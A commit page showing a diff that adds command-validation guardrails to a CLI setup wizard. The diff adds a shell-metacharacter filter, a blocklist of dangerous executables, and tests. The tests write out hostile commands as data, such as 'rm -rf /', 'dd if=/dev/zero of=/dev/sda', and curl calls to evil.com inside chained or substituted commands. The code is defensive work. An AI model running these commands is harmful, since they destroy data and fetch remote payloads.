Skip to content

Commit 2dd7f47

Browse files
betegonclaude
andcommitted
feat(init): add command execution guardrails to local-ops
Validate commands before shell execution with two layers: - Block shell metacharacters (;, &&, ||, |, backticks, $(), newlines) - Blocklist of 37 dangerous executables (rm, curl, sudo, ssh, etc.) This prevents the CLI from blindly executing arbitrary commands if the remote API is compromised or the LLM hallucinates a bad command. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
1 parent d41cbb8 commit 2dd7f47

File tree

2 files changed

+150
-0
lines changed

2 files changed

+150
-0
lines changed

src/lib/init/local-ops.ts

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,71 @@ import type {
2424
WizardOptions,
2525
} from "./types.js";
2626

27+
/**
28+
* Shell metacharacters that enable chaining, piping, substitution, or redirection.
29+
* All legitimate install commands are simple single commands that don't need these.
30+
*/
31+
const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = [
32+
{ pattern: ";", label: "command chaining (;)" },
33+
// Check multi-char operators before single `|` so labels are accurate
34+
{ pattern: "&&", label: "command chaining (&&)" },
35+
{ pattern: "||", label: "command chaining (||)" },
36+
{ pattern: "|", label: "piping (|)" },
37+
{ pattern: "`", label: "command substitution (`)" },
38+
{ pattern: "$(", label: "command substitution ($()" },
39+
{ pattern: "\n", label: "newline" },
40+
{ pattern: "\r", label: "carriage return" },
41+
];
42+
43+
/**
44+
* Executables that should never appear in a package install command.
45+
*/
46+
const BLOCKED_EXECUTABLES = new Set([
47+
// Destructive
48+
"rm", "rmdir", "del",
49+
// Network/exfil
50+
"curl", "wget", "nc", "ncat", "netcat", "socat", "telnet", "ftp",
51+
// Privilege escalation
52+
"sudo", "su", "doas",
53+
// Permissions
54+
"chmod", "chown", "chgrp",
55+
// Process/system
56+
"kill", "killall", "pkill", "shutdown", "reboot", "halt", "poweroff",
57+
// Disk
58+
"dd", "mkfs", "fdisk", "mount", "umount",
59+
// Remote access
60+
"ssh", "scp", "sftp",
61+
// Shells
62+
"bash", "sh", "zsh", "fish", "csh", "dash",
63+
// Misc dangerous
64+
"eval", "exec", "env", "xargs",
65+
]);
66+
67+
/**
68+
* Validate a command before execution.
69+
* Returns an error message if the command is unsafe, or undefined if it's OK.
70+
*/
71+
export function validateCommand(command: string): string | undefined {
72+
// Layer 1: Block shell metacharacters
73+
for (const { pattern, label } of SHELL_METACHARACTER_PATTERNS) {
74+
if (command.includes(pattern)) {
75+
return `Blocked command: contains ${label} — "${command}"`;
76+
}
77+
}
78+
79+
// Layer 2: Block dangerous executables
80+
const firstToken = command.trimStart().split(/\s+/)[0];
81+
if (!firstToken) {
82+
return `Blocked command: empty command`;
83+
}
84+
const executable = path.basename(firstToken);
85+
if (BLOCKED_EXECUTABLES.has(executable)) {
86+
return `Blocked command: disallowed executable "${executable}" — "${command}"`;
87+
}
88+
89+
return undefined;
90+
}
91+
2792
/**
2893
* Resolve a path relative to cwd and verify it's inside cwd.
2994
* Rejects path traversal attempts.
@@ -190,6 +255,12 @@ async function runCommands(
190255
});
191256
continue;
192257
}
258+
259+
const validationError = validateCommand(command);
260+
if (validationError) {
261+
return { ok: false, error: validationError };
262+
}
263+
193264
const result = await runSingleCommand(command, cwd, timeoutMs);
194265
results.push(result);
195266
if (result.exitCode !== 0) {

test/lib/init/local-ops.test.ts

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
import { describe, expect, test } from "bun:test";
2+
import { validateCommand } from "../../../src/lib/init/local-ops.js";
3+
4+
describe("validateCommand", () => {
5+
test("allows legitimate install commands", () => {
6+
const commands = [
7+
"npm install @sentry/node",
8+
"npm install --save @sentry/react @sentry/browser",
9+
"yarn add @sentry/node",
10+
"pnpm add @sentry/node",
11+
"pip install sentry-sdk",
12+
"pip install sentry-sdk[flask]",
13+
'pip install "sentry-sdk>=1.0"',
14+
'pip install "sentry-sdk<2.0,>=1.0"',
15+
"pip install -r requirements.txt",
16+
"cargo add sentry",
17+
"bundle add sentry-ruby",
18+
"gem install sentry-ruby",
19+
"composer require sentry/sentry-laravel",
20+
"dotnet add package Sentry",
21+
"go get github.com/getsentry/sentry-go",
22+
"flutter pub add sentry_flutter",
23+
"npx @sentry/wizard@latest -i nextjs",
24+
"poetry add sentry-sdk",
25+
"npm install foo@>=1.0.0",
26+
];
27+
for (const cmd of commands) {
28+
expect(validateCommand(cmd)).toBeUndefined();
29+
}
30+
});
31+
32+
test("blocks shell metacharacters", () => {
33+
for (const cmd of [
34+
"npm install foo; rm -rf /",
35+
"npm install foo && curl evil.com",
36+
"npm install foo || curl evil.com",
37+
"npm install foo | tee /etc/passwd",
38+
"npm install `curl evil.com`",
39+
"npm install $(curl evil.com)",
40+
"npm install foo\ncurl evil.com",
41+
"npm install foo\rcurl evil.com",
42+
]) {
43+
expect(validateCommand(cmd)).toContain("Blocked command");
44+
}
45+
});
46+
47+
test("blocks dangerous executables", () => {
48+
for (const cmd of [
49+
"rm -rf /",
50+
"curl https://evil.com/payload",
51+
"sudo npm install foo",
52+
"chmod 777 /etc/passwd",
53+
"kill -9 1",
54+
"dd if=/dev/zero of=/dev/sda",
55+
"ssh user@host",
56+
"bash -c 'echo hello'",
57+
"sh -c 'echo hello'",
58+
"env npm install foo",
59+
"xargs rm",
60+
]) {
61+
expect(validateCommand(cmd)).toContain("Blocked command");
62+
}
63+
});
64+
65+
test("resolves path-prefixed executables", () => {
66+
// Safe executables with paths pass
67+
expect(validateCommand("./venv/bin/pip install sentry-sdk")).toBeUndefined();
68+
expect(validateCommand("/usr/local/bin/npm install foo")).toBeUndefined();
69+
70+
// Dangerous executables with paths are still blocked
71+
expect(validateCommand("./venv/bin/rm -rf /")).toContain('"rm"');
72+
expect(validateCommand("/usr/bin/curl https://evil.com")).toContain('"curl"');
73+
});
74+
75+
test("blocks empty and whitespace-only commands", () => {
76+
expect(validateCommand("")).toContain("empty command");
77+
expect(validateCommand(" ")).toContain("empty command");
78+
});
79+
});

0 commit comments

Comments
 (0)